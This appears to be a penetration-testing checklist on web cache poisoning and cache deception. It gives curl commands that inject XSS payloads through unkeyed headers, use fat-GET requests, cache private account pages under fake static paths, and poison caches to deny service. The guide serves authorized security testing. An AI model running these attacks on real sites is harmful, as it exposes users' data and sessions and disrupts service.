Web Cache Poisoning & Deception

Exploitation HIGH v1.0.0 updated 2026-07-05

Test for web cache poisoning via unkeyed inputs and cache deception via path confusion to serve malicious responses or leak private data to other users.

Tools

Burp SuiteParam Minercurl

Tags

exploitationcache-poisoningcache-deceptionunkeyed-inputweb-cache

// checklist steps

cachepoison-01

Identify cacheable responses and cache keys

Find responses that are served from a shared cache and determine which components of the request form the cache key versus what is ignored.

# Inspect caching headers and hit/miss status
curl -sk -i 'https://target.com/' | grep -iE '^(cache-control|age|x-cache|cf-cache-status|vary|etag|expires):'
# Send the same request twice and watch X-Cache flip from miss to hit
for i in 1 2; do curl -sk -o /dev/null -D - 'https://target.com/en/home' | grep -iE '^(age|x-cache|cf-cache-status):'; done

Look for X-Cache, CF-Cache-Status, Age, and Cache-Control headers. A response whose Age increments and flips to a hit on the second request is cacheable. The Vary header tells you which request headers are part of the key.

cachepoison-02

Discover unkeyed inputs with Param Miner

Use Param Miner to brute-force headers and parameters that influence the response but are excluded from the cache key, such as X-Forwarded-Host, X-Forwarded-Scheme, and X-Host.

# Burp: right-click request > Param Miner > Guess headers (enable 'Add fcbz cache buster')
# Manual check for X-Forwarded-Host reflection using a cache buster
curl -sk 'https://target.com/?cb=1' -H 'X-Forwarded-Host: evil.com' | grep -i 'evil.com'
curl -sk 'https://target.com/?cb=2' -H 'X-Forwarded-Scheme: nothttps' | grep -iE 'http://|Location'

Always add a unique cache buster (a junk query parameter) while probing so you do not poison the real cache during discovery. Param Miner's 'Guess headers' with the cache-buster option automates finding unkeyed inputs safely.

cachepoison-03

Poison the cache via unkeyed header reflection

When an unkeyed header is reflected into the response, send a request that injects an XSS payload or malicious redirect, then confirm it is cached and served to other users.

# Inject a malicious host that gets reflected into an absolute URL or script src
curl -sk 'https://target.com/en/home' -H 'X-Forwarded-Host: evil.com\"><script>alert(document.cookie)</script>'
# Confirm the poisoned response is served without the header from a clean request
curl -sk 'https://target.com/en/home' | grep -iE 'evil.com|<script>'

Remove the cache buster only for the final poisoning request so the malicious response is stored against the real key. Verify impact by fetching the page from a separate session or IP without your injected header.

cachepoison-04

Exploit cache key normalization and fat GET

Abuse inconsistencies in how the cache normalizes keys — case, trailing characters, encoded delimiters, or a request body on a GET (fat GET) — to poison or bypass the intended key.

# Fat GET: body parameter overrides query but may be unkeyed
curl -sk -X GET 'https://target.com/?param=safe' --data 'param=<script>alert(1)</script>' -H 'Content-Type: application/x-www-form-urlencoded'
# Cache key normalization: encoded characters that the cache and origin decode differently
curl -sk 'https://target.com/home%23' -i | grep -iE '^(x-cache|age):'

Some caches strip or normalize part of the URL before building the key while the origin sees the raw value. A fat GET works when the cache keys only the query string but the application also reads parameters from the body.

cachepoison-05

Perform cache deception via path confusion

Trick the cache into storing a dynamic, authenticated page under a static-looking path so the victim's private response is cached and retrievable by an attacker.

# Request an authenticated page with a fake static extension the cache will store
curl -sk -b 'session=VICTIMLIKE' 'https://target.com/account/profile.css' -i | grep -iE '^(x-cache|content-type):'
# Path parameter and encoded delimiter variants
curl -sk -b 'session=VICTIMLIKE' 'https://target.com/account/profile/..%2fnonexistent.js' -i | grep -iE '^(x-cache|content-type):'

If the origin ignores the trailing .css and returns the profile page while the cache stores it as a static asset, an attacker can lure a victim to the URL and then read the cached private page. Test /account/profile.css, path parameters (;), and encoded slashes.

cachepoison-06

Weaponize cache poisoning for denial of service

Poison the cache with a broken or oversized response (bad header, oversized header, redirect loop, or 400) so legitimate users are served the cached error, causing a denial of service.

# Oversized header that the origin rejects but the cache stores the error
curl -sk 'https://target.com/en/home' -H "X-Forwarded-Host: $(python3 -c 'print(\"a\"*8000)')" -i | grep -iE '^(HTTP/|x-cache):'
# Cache a permanent redirect or 400 against a popular path
curl -sk 'https://target.com/en/home' -H 'X-Forwarded-Scheme: nothttps' -i | grep -iE '^(HTTP/|location):'

Cache-poisoning DoS (CPDoS) turns an unkeyed input that triggers an origin error into a cached error page served to everyone. Confirm the cached error persists on clean requests, and report cautiously since this can disrupt real users.

Overview

Web cache poisoning turns a shared cache into a delivery mechanism: an attacker sends one crafted request, the cache stores a malicious response, and every subsequent user of that cache key is served it. Cache deception is the mirror image — tricking the cache into storing a victim’s private, authenticated response where an attacker can retrieve it. Both scale a single request into an attack on the entire user base.

What to look for

The bug lives in the gap between what the cache keys and what the application reflects. Hunt for unkeyed inputs — X-Forwarded-Host, X-Forwarded-Scheme, X-Host, X-Forwarded-For, and custom headers — that change the response but not the cache key. For deception, look for origins that ignore trailing path segments or extensions (/account/profile.css) while the cache stores them as static assets.

Common pitfalls

Testing caches is dangerous: probe with a unique cache buster on every request so you never poison the real cache during discovery, and only drop the buster for the final confirming request. Always verify impact from a clean session or a second IP to prove other users are affected. Treat cache-poisoning DoS with extra care, since a successful test can take down a popular page for real users.

// references

  1. https://portswigger.net/web-security/web-cache-poisoning
  2. https://portswigger.net/web-security/web-cache-deception
  3. https://owasp.org/www-community/attacks/Cache_Poisoning
  4. https://github.com/PortSwigger/param-miner
  5. https://cpdos.org/
← All checklists JSON ↗